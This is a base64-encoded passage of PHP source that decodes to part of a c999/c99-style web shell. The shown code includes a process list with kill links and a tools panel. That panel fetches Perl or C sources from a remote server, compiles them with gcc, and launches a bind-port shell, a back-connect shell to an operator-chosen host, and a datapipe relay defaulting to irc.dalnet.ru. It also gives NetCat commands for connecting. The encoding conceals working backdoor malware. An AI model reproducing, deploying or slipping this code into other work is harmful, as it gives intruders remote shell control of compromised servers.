KS0yKS4iOwogICB3aGlsZSAoaWQgPD0gbnVtKQogICB7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJ ZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9IHN0YXR1czsKICAgIGlkKys7CiAgIH0KICB9CiAgZnVuY3Rp b24gbHNfcmV2ZXJzZV9hbGwoKQogIHsKICAgdmFyIGlkID0gMTsKICAgdmFyIG51bSA9ICIuKGNvdW50 KCR0YWJsZSktMikuIjsKICAgd2hpbGUgKGlkIDw9IG51bSkKICAgewogICAgZG9jdW1lbnQuZ2V0RWxl bWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSAhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Fj dGJveCcraWQpLmNoZWNrZWQ7CiAgICBpZCsrOwogICB9CiAgfQogIDwvc2NyaXB0PgogIDxpbnB1dCB0 eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKHRydWUpO1wiIHZhbHVlPVwi U2VsZWN0IGFsbFwiPiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxz X3NldGNoZWNrYm94YWxsKGZhbHNlKTtcIiB2YWx1ZT1cIlVuc2VsZWN0IGFsbFwiPiAKICA8Yj48aW1n IHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj4iOwogIGlm IChjb3VudChhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pKSA+ IDAgYW5kICgkdXNlZnNidWZmKSkKICB7CiAgIGVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWFj dGFyY2J1ZmYgdmFsdWU9XCJQYWNrIGJ1ZmZlciB0byBhcmNoaXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9 XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZfcGF0aFwiIHZhbHVlPVwiYXJjaGl2ZV8iLnN1YnN0ciht ZDUocmFuZCgxLDEwMDApLnJhbmQoMSwxMDAwKSksMCw1KS4iLnRhci5nelwiPiZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0cGFzdGVidWZm XCIgdmFsdWU9XCJQYXN0ZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1 dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0ZW1wdHlidWZmXCIgdmFsdWU9XCJFbXB0eSBidWZmZXJcIj4m bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOwogIH0KICBlY2hvICI8c2VsZWN0IG5h bWU9YWN0PjxvcHRpb24gdmFsdWU9XCIiLiRhY3QuIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsK ICBlY2hvICI8b3B0aW9uIHZhbHVlPWRlbGV0ZSIuKCRkc3BhY3QgPT0gImRlbGV0ZSI/IiBzZWxlY3Rl ZCI6IiIpLiI+RGVsZXRlPC9vcHRpb24+IjsKICBlY2hvICI8b3B0aW9uIHZhbHVlPWNobW9kIi4oJGRz cGFjdCA9PSAiY2htb2QiPyIgc2VsZWN0ZWQiOiIiKS4iPkNoYW5nZS1tb2RlPC9vcHRpb24+IjsKICBp ZiAoJHVzZWZzYnVmZikKICB7CiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y3V0Ii4oJGRzcGFjdCA9PSAi Y3V0Ij8iIHNlbGVjdGVkIjoiIikuIj5DdXQ8L29wdGlvbj4iOwogICBlY2hvICI8b3B0aW9uIHZhbHVl PWNvcHkiLigkZHNwYWN0ID09ICJjb3B5Ij8iIHNlbGVjdGVkIjoiIikuIj5Db3B5PC9vcHRpb24+IjsK ICAgZWNobyAiPG9wdGlvbiB2YWx1ZT11bnNlbGVjdCIuKCRkc3BhY3QgPT0gInVuc2VsZWN0Ij8iIHNl bGVjdGVkIjoiIikuIj5VbnNlbGVjdDwvb3B0aW9uPiI7CiAgfQogIGVjaG8gIjwvc2VsZWN0PiZuYnNw OzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkNvbmZpcm1cIj48L3A+IjsKICBlY2hvICI8L2Zvcm0+ IjsKIH0KfQppZiAoJGFjdCA9PSAidG9vbHMiKQp7CiAkYm5kcG9ydHNyY3MgPSBhcnJheSgKICAiYzk5 OXNoX2JpbmRwb3J0LnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVwb3J0IiksCiAg ImM5OTlzaF9iaW5kcG9ydC5jIj0+YXJyYXkoIlVzaW5nIEMiLCIlcGF0aCAlcG9ydCAlcGFzcyIpCiAp OwogJGJjc3JjcyA9IGFycmF5KAogICJjOTk5c2hfYmFja2Nvbm4ucGwiPT5hcnJheSgiVXNpbmcgUEVS TCIsInBlcmwgJXBhdGggJWhvc3QgJXBvcnQiKSwKICAiYzk5OXNoX2JhY2tjb25uLmMiPT5hcnJheSgi VXNpbmcgQyIsIiVwYXRoICVob3N0ICVwb3J0IikKICk7CiAkZHBzcmNzID0gYXJyYXkoCiAgImM5OTlz aF9kYXRhcGlwZS5wbCI9PmFycmF5KCJVc2luZyBQRVJMIiwicGVybCAlcGF0aCAlbG9jYWxwb3J0ICVy ZW1vdGVob3N0ICVyZW1vdGVwb3J0IiksCiAgImM5OTlzaF9kYXRhcGlwZS5jIj0+YXJyYXkoIlVzaW5n IEMiLCIlcGF0aCAlbG9jYWxwb3J0ICVyZW1vdGVwb3J0ICVyZW1vdGVob3N0IikKICk7CiBpZiAoIWlz X2FycmF5KCRiaW5kKSkgeyRiaW5kID0gYXJyYXkoKTt9CiBpZiAoIWlzX2FycmF5KCRiYykpIHskYmMg PSBhcnJheSgpO30KIGlmICghaXNfYXJyYXkoJGRhdGFwaXBlKSkgeyRkYXRhcGlwZSA9IGFycmF5KCk7 fQogCiBpZiAoIWlzX251bWVyaWMoJGJpbmRbInBvcnQiXSkpIHskYmluZFsicG9ydCJdID0gJGJpbmRw b3J0X3BvcnQ7fQogaWYgKGVtcHR5KCRiaW5kWyJwYXNzIl0pKSB7JGJpbmRbInBhc3MiXSA9ICRiaW5k cG9ydF9wYXNzO30KICAKIGlmIChlbXB0eSgkYmNbImhvc3QiXSkpIHskYmNbImhvc3QiXSA9IGdldGVu digiUkVNT1RFX0FERFIiKTt9CiBpZiAoIWlzX251bWVyaWMoJGJjWyJwb3J0Il0pKSB7JGJjWyJwb3J0 Il0gPSAkYmNfcG9ydDt9CiAKIGlmIChlbXB0eSgkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSkpIHskZGF0 YXBpcGVbInJlbW90ZWFkZHIiXSA9ICJpcmMuZGFsbmV0LnJ1OjY2NjciO30KIGlmICghaXNfbnVtZXJp YygkZGF0YXBpcGVbImxvY2FscG9ydCJdKSkgeyRkYXRhcGlwZVsibG9jYWxwb3J0Il0gPSAkZGF0YXBp cGVfbG9jYWxwb3J0O30KIGlmICghZW1wdHkoJGJpbmRzdWJtaXQpKQogewogIGVjaG8gIjxiPlJlc3Vs

dCBvZiBiaW5kaW5nIHBvcnQ6PC9iPjxicj4iOwogICR2ID0gJGJuZHBvcnRzcmNzWyRiaW5kWyJzcmMi XV07CiAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9CiAgZWxzZWlmIChm c29ja29wZW4oZ2V0ZW52KCJTRVJWRVJfQUREUiIpLCRiaW5kWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIs MC4xKSkge2VjaG8gIlBvcnQgYWxyZWR5IGluIHVzZSwgc2VsZWN0IGFueSBvdGhlciE8YnI+Ijt9CiAg ZWxzZQogIHsKICAgJHcgPSBleHBsb2RlKCIuIiwkYmluZFsic3JjIl0pOwogICAkZXh0ID0gJHdbY291 bnQoJHcpLTFdOwogICB1bnNldCgkd1tjb3VudCgkdyktMV0pOwogICAkc3JjcGF0aCA9IGpvaW4oIi4i LCR3KS4iLiIucmFuZCgwLDk5OSkuIi4iLiRleHQ7CiAgICRiaW5wYXRoID0gJHRtcGRpci5qb2luKCIu IiwkdykucmFuZCgwLDk5OSk7CiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRo O30KICAgQHVubGluaygkc3JjcGF0aCk7CiAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsKICAg aWYgKCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJy PiI7fQogICBlbHNlaWYgKCEkZGF0YSA9IGM5OTlnZXRzb3VyY2UoJGJpbmRbInNyYyJdKSkge2VjaG8g IkNhbid0IGRvd25sb2FkIHNvdXJjZXMhIjt9CiAgIGVsc2UKICAgewogICAgZndyaXRlKCRmcCwkZGF0 YSxzdHJsZW4oJGRhdGEpKTsKICAgIGZjbG9zZSgkZnApOwogICAgaWYgKCRleHQgPT0gImMiKSB7JHJl dGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyAgQHVubGlu aygkc3JjcGF0aCk7fQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhdGgiLCRiaW5wYXRoLCR2WzFd KTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwb3J0IiwkYmluZFsicG9ydCJdLCR2WzFdKTsKICAg ICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXNzIiwkYmluZFsicGFzcyJdLCR2WzFdKTsKICAgICR2WzFd ID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOwogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygk dlsxXS4iID4gL2Rldi9udWxsICYiKTsKICAgIHNsZWVwKDUpOwogICAgJHNvY2sgPSBmc29ja29wZW4o ImxvY2FsaG9zdCIsJGJpbmRbInBvcnQiXSwkZXJybm8sJGVycnN0ciw1KTsKICAgIGlmICghJHNvY2sp IHtlY2hvICJJIGNhbid0IGNvbm5lY3QgdG8gbG9jYWxob3N0OiIuJGJpbmRbInBvcnQiXS4iISBJIHRo aW5rIHlvdSBzaG91bGQgY29uZmlndXJlIHlvdXIgZmlyZXdhbGwuIjt9CiAgICBlbHNlIHtlY2hvICJC aW5kaW5nLi4uIG9rISBDb25uZWN0IHRvIDxiPiIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiI6Ii4kYmlu ZFsicG9ydCJdLiI8L2I+ISBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biBcIjxiPm5jIC12 ICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgIi4kYmluZFsicG9ydCJdLiI8L2I+XCIhPGNlbnRlcj48 YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZncmVwPSIuYmFzZW5hbWUoJGJpbnBhdGgpLiJc Ij48dT5WaWV3IGJpbmRlcidzIHByb2Nlc3M8L3U+PC9hPjwvY2VudGVyPiI7fQogICB9CiAgIGVjaG8g Ijxicj4iOwogIH0KIH0KIGlmICghZW1wdHkoJGJjc3VibWl0KSkKIHsKICBlY2hvICI8Yj5SZXN1bHQg b2YgYmFjayBjb25uZWN0aW9uOjwvYj48YnI+IjsKICAkdiA9ICRiY3NyY3NbJGJjWyJzcmMiXV07CiAg aWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9CiAgZWxzZQogIHsKICAgJHcg PSBleHBsb2RlKCIuIiwkYmNbInNyYyJdKTsKICAgJGV4dCA9ICR3W2NvdW50KCR3KS0xXTsKICAgdW5z ZXQoJHdbY291bnQoJHcpLTFdKTsKICAgJHNyY3BhdGggPSBqb2luKCIuIiwkdykuIi4iLnJhbmQoMCw5 OTkpLiIuIi4kZXh0OwogICAkYmlucGF0aCA9ICR0bXBkaXIuam9pbigiLiIsJHcpLnJhbmQoMCw5OTkp OwogICBpZiAoJGV4dCA9PSAicGwiKSB7JGJpbnBhdGggPSAkc3JjcGF0aDt9CiAgIEB1bmxpbmsoJHNy Y3BhdGgpOwogICAkZnAgPSBmb3Blbigkc3JjcGF0aCwiYWIrIik7CiAgIGlmICghJGZwKSB7ZWNobyAi Q2FuJ3Qgd3JpdGUgc291cmNlcyB0byBcIiIuJHNyY3BhdGguIlwiITxicj4iO30KICAgZWxzZWlmICgh JGRhdGEgPSBjOTk5Z2V0c291cmNlKCRiY1sic3JjIl0pKSB7ZWNobyAiQ2FuJ3QgZG93bmxvYWQgc291 cmNlcyEiO30KICAgZWxzZQogICB7CiAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOwog ICAgZmNsb3NlKCRmcCk7CiAgICBpZiAoJGV4dCA9PSAiYyIpIHskcmV0Z2NjID0gbXlzaGVsbGV4ZWMo ImdjYyAtbyAiLiRiaW5wYXRoLiIgIi4kc3JjcGF0aCk7IEB1bmxpbmsoJHNyY3BhdGgpO30KICAgICR2 WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9y ZXBsYWNlKCIlaG9zdCIsJGJjWyJob3N0Il0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgi JXBvcnQiLCRiY1sicG9ydCJdLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIs JHZbMV0pOwogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsK ICAgIGVjaG8gIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi5odG1sc3BlY2lhbGNoYXJzKCRiY1si aG9zdCJdKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkYmNbInBvcnQiXSkuIi4uLjxicj4iOwogICB9CiAg fQogfQogaWYgKCFlbXB0eSgkZHBzdWJtaXQpKQogewogIGVjaG8gIjxiPlJlc3VsdCBvZiBkYXRhcGlw ZS1ydW5uaW5nOjwvYj48YnI+IjsKICAkdiA9ICRkcHNyY3NbJGRhdGFwaXBlWyJzcmMiXV07CiAgaWYg KGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9CiAgZWxzZWlmIChmc29ja29wZW4o Z2V0ZW52KCJTRVJWRVJfQUREUiIpLCRkYXRhcGlwZVsicG9ydCJdLCRlcnJubywkZXJyc3RyLDAuMSkp IHtlY2hvICJQb3J0IGFscmVkeSBpbiB1c2UsIHNlbGVjdCBhbnkgb3RoZXIhPGJyPiI7fQogIGVsc2UK ICB7CiAgICRzcmNwYXRoID0gJHRtcGRpci4kZGF0YXBpcGVbInNyYyJdOwogICAkdyA9IGV4cGxvZGUo Ii4iLCRkYXRhcGlwZVsic3JjIl0pOwogICAkZXh0ID0gJHdbY291bnQoJHcpLTFdOwogICB1bnNldCgk d1tjb3VudCgkdyktMV0pOwogICAkc3JjcGF0aCA9IGpvaW4oIi4iLCR3KS4iLiIucmFuZCgwLDk5OSku Ii4iLiRleHQ7CiAgICRiaW5wYXRoID0gJHRtcGRpci5qb2luKCIuIiwkdykucmFuZCgwLDk5OSk7CiAg IGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30KICAgQHVubGluaygkc3JjcGF0 aCk7CiAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsKICAgaWYgKCEkZnApIHtlY2hvICJDYW4n dCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7fQogICBlbHNlaWYgKCEkZGF0 YSA9IGM5OTlnZXRzb3VyY2UoJGRhdGFwaXBlWyJzcmMiXSkpIHtlY2hvICJDYW4ndCBkb3dubG9hZCBz b3VyY2VzISI7fQogICBlbHNlCiAgIHsKICAgIGZ3cml0ZSgkZnAsJGRhdGEsc3RybGVuKCRkYXRhKSk7

CiAgICBmY2xvc2UoJGZwKTsKICAgIGlmICgkZXh0ID09ICJjIikgeyRyZXRnY2MgPSBteXNoZWxsZXhl YygiZ2NjIC1vICIuJGJpbnBhdGguIiAiLiRzcmNwYXRoKTsgQHVubGluaygkc3JjcGF0aCk7fQogICAg bGlzdCgkZGF0YXBpcGVbInJlbW90ZWhvc3QiXSwkZGF0YXBpcGVbInJlbW90ZXBvcnQiXSkgPSBleHBs b2RlKCI6IiwkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIl cGF0aCIsJGJpbnBhdGgsJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJWxvY2FscG9ydCIs JGRhdGFwaXBlWyJsb2NhbHBvcnQiXSwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcmVt b3RlaG9zdCIsJGRhdGFwaXBlWyJyZW1vdGVob3N0Il0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVw bGFjZSgiJXJlbW90ZXBvcnQiLCRkYXRhcGlwZVsicmVtb3RlcG9ydCJdLCR2WzFdKTsKICAgICR2WzFd ID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOwogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygk dlsxXS4iID4gL2Rldi9udWxsICYiKTsKICAgIHNsZWVwKDUpOwogICAgJHNvY2sgPSBmc29ja29wZW4o ImxvY2FsaG9zdCIsJGRhdGFwaXBlWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsNSk7CiAgICBpZiAoISRz b2NrKSB7ZWNobyAiSSBjYW4ndCBjb25uZWN0IHRvIGxvY2FsaG9zdDoiLiRkYXRhcGlwZVsibG9jYWxw b3J0Il0uIiEgSSB0aGluayB5b3Ugc2hvdWxkIGNvbmZpZ3VyZSB5b3VyIGZpcmV3YWxsLiI7fQogICAg ZWxzZSB7ZWNobyAiUnVubmluZyBkYXRhcGlwZS4uLiBvayEgQ29ubmVjdCB0byA8Yj4iLmdldGVudigi U0VSVkVSX0FERFIiKS4iOiIuJGRhdGFwaXBlWyJwb3J0Il0uIiwgYW5kIHlvdSB3aWxsIGNvbm5lY3Rl ZCB0byAiLiRkYXRhcGlwZVsicmVtb3RlYWRkciJdLiI8L2I+ISBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQm Y29weTssIHJ1biBcIjxiPm5jIC12ICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgIi4kYmluZFsicG9y dCJdLiI8L2I+XCIhPGNlbnRlcj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZncmVwPSIu YmFzZW5hbWUoJGJpbnBhdGgpLiJcIj48dT5WaWV3IGRhdGFwaXBlIHByb2Nlc3M8L3U+PC9hPjwvY2Vu dGVyPiI7fQogICB9CiAgIGVjaG8gIjxicj4iOwogIH0KIH0KID8+PGI+QmluZGluZyBwb3J0OjwvYj48 YnI+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5h bWU9YWN0IHZhbHVlPXRvb2xzPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9Ijw/cGhwIGVj aG8gJGQ7ID8+Ij5Qb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJpbmRbcG9ydF0iIHZhbHVlPSI8 P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBvcnQiXSk7ID8+Ij4mbmJzcDtQYXNzd29y ZDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiaW5kW3Bhc3NdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1s c3BlY2lhbGNoYXJzKCRiaW5kWyJwYXNzIl0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJiaW5kW3Ny Y10iPjw/cGhwCiBmb3JlYWNoKCRibmRwb3J0c3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZh bHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJpbmRbInNyYyJdKSB7ZWNobyAiIHNlbGVjdGVkIjt9 IGVjaG8gIj4iLiR2WzBdLiI8L29wdGlvbj4iO30KID8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9 c3VibWl0IG5hbWU9YmluZHN1Ym1pdCB2YWx1ZT0iQmluZCI+PC9mb3JtPgo8Yj5CYWNrIGNvbm5lY3Rp b246PC9iPjxicj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1o aWRkZW4gbmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0i PD9waHAgZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iYmNbaG9zdF0iIHZh bHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJjWyJob3N0Il0pOyA/PiI+Jm5ic3A7UG9y dDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiY1twb3J0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNw ZWNpYWxjaGFycygkYmNbInBvcnQiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImJjW3NyY10iPjw/ cGhwCmZvcmVhY2goJGJjc3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4i XCIiOyBpZiAoJGsgPT0gJGJjWyJzcmMiXSkge2VjaG8gIiBzZWxlY3RlZCI7fSBlY2hvICI+Ii4kdlsw XS4iPC9vcHRpb24+Ijt9Cj8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YmNz dWJtaXQgdmFsdWU9IkNvbm5lY3QiPjwvZm9ybT4KQ2xpY2sgIkNvbm5lY3QiIG9ubHkgYWZ0ZXIgb3Bl biBwb3J0IGZvciBpdC4gWW91IHNob3VsZCB1c2UgTmV0Q2F0JmNvcHk7LCBydW4gIjxiPm5jIC1sIC1u IC12IC1wIDw/cGhwIGVjaG8gJGJjX3BvcnQ7ID8+PC9iPiIhPGJyPjxicj4KPGI+RGF0YXBpcGU6PC9i Pjxicj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4g bmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAg ZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iZGF0YXBpcGVbcmVtb3RlYWRk cl0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFwaXBlWyJyZW1vdGVhZGRy Il0pOyA/PiI+Jm5ic3A7TG9jYWwgcG9ydDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJkYXRhcGlwZVts b2NhbHBvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYXRhcGlwZVsibG9j YWxwb3J0Il0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJkYXRhcGlwZVtzcmNdIj48P3BocApmb3Jl YWNoKCRkcHNyY3MgYXMgJGs9PiR2KSB7ZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuJGsuIlwiIjsgaWYg KCRrID09ICRiY1sic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNobyAiPiIuJHZbMF0uIjwvb3B0 aW9uPiI7fQo/Pjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWRwc3VibWl0IHZh bHVlPSJSdW4iPjwvZm9ybT48Yj5Ob3RlOjwvYj4gc291cmNlcyB3aWxsIGJlIGRvd25sb2FkZWQgZnJv bSByZW1vdGUgc2VydmVyLjw/cGhwCn0KaWYgKCRhY3QgPT0gInByb2Nlc3NlcyIpCnsKIGVjaG8gIjxi PlByb2Nlc3Nlczo8L2I+PGJyPiI7CiBpZiAoISR3aW4pIHskaGFuZGxlciA9ICJwcyAtYXV4Ii4oJGdy ZXA/IiB8IGdyZXAgJyIuYWRkc2xhc2hlcygkZ3JlcCkuIiciOiIiKTt9CiBlbHNlIHskaGFuZGxlciA9 ICJ0YXNrbGlzdCI7fQogJHJldCA9IG15c2hlbGxleGVjKCRoYW5kbGVyKTsKIGlmICghJHJldCkge2Vj aG8gIkNhbid0IGV4ZWN1dGUgXCIiLiRoYW5kbGVyLiJcIiEiO30KIGVsc2UKIHsKICBpZiAoZW1wdHko JHByb2Nlc3Nlc19zb3J0KSkgeyRwcm9jZXNzZXNfc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQogICRwYXJz ZXNvcnQgPSBwYXJzZXNvcnQoJHByb2Nlc3Nlc19zb3J0KTsKICBpZiAoIWlzX251bWVyaWMoJHBhcnNl

c29ydFswXSkpIHskcGFyc2Vzb3J0WzBdID0gMDt9CiAgJGsgPSAkcGFyc2Vzb3J0WzBdOwogIGlmICgk cGFyc2Vzb3J0WzFdICE9ICJhIikgeyR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0 LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIi LiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2Rlc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJv cmRlcj1cIjBcIj48L2E+Ijt9CiAgZWxzZSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRk c3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImRcIj48aW1nIHNy Yz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfYXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRc IiBib3JkZXI9XCIwXCI+PC9hPiI7fQogICRyZXQgPSBodG1sc3BlY2lhbGNoYXJzKCRyZXQpOwogIGlm ICghJHdpbikKICB7CiAgIGlmICgkcGlkKQogICB7CiAgICBpZiAoaXNfbnVsbCgkc2lnKSkgeyRzaWcg PSA5O30KICAgIGVjaG8gIlNlbmRpbmcgc2lnbmFsICIuJHNpZy4iIHRvICMiLiRwaWQuIi4uLiAiOwog ICAgaWYgKHBvc2l4X2tpbGwoJHBpZCwkc2lnKSkge2VjaG8gIk9LLiI7fQogICAgZWxzZSB7ZWNobyAi RVJST1IuIjt9CiAgIH0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFj ZSgiICAiLCIgIiwkcmV0KTt9CiAgICRzdGFjayA9IGV4cGxvZGUoIlxuIiwkcmV0KTsKICAgJGhlYWQg PSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOwogICB1bnNldCgkc3RhY2tbMF0pOwogICBmb3IoJGk9MDsk aTxjb3VudCgkaGVhZCk7JGkrKykKICAgewogICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxh IGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNz ZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIuJGhlYWRbJGldLiI8L2I+PC9hPiI7fQog ICB9CiAgICRwcmNzID0gYXJyYXkoKTsKICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQogICB7CiAg ICBpZiAoIWVtcHR5KCRsaW5lKSkKewogZWNobyAiPHRyPiI7CiAgICAgJGxpbmUgPSBleHBsb2RlKCIg IiwkbGluZSk7CiAgICAgJGxpbmVbMTBdID0gam9pbigiICIsYXJyYXlfc2xpY2UoJGxpbmUsMTApKTsK ICAgICAkbGluZSA9IGFycmF5X3NsaWNlKCRsaW5lLDAsMTEpOwogICAgIGlmICgkbGluZVswXSA9PSBn ZXRfY3VycmVudF91c2VyKCkpIHskbGluZVswXSA9ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsaW5lWzBd LiI8L2ZvbnQ+Ijt9CiAgICAgJGxpbmVbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3Nl cyZkPSIudXJsZW5jb2RlKCRkKS4iJnBpZD0iLiRsaW5lWzFdLiImc2lnPTlcIj48dT5LSUxMPC91Pjwv YT4iOwogICAgICRwcmNzW10gPSAkbGluZTsKICAgICBlY2hvICI8L3RyPiI7CiAgICB9CiAgIH0KICB9 CiAgZWxzZQogIHsKICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgi ICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFj 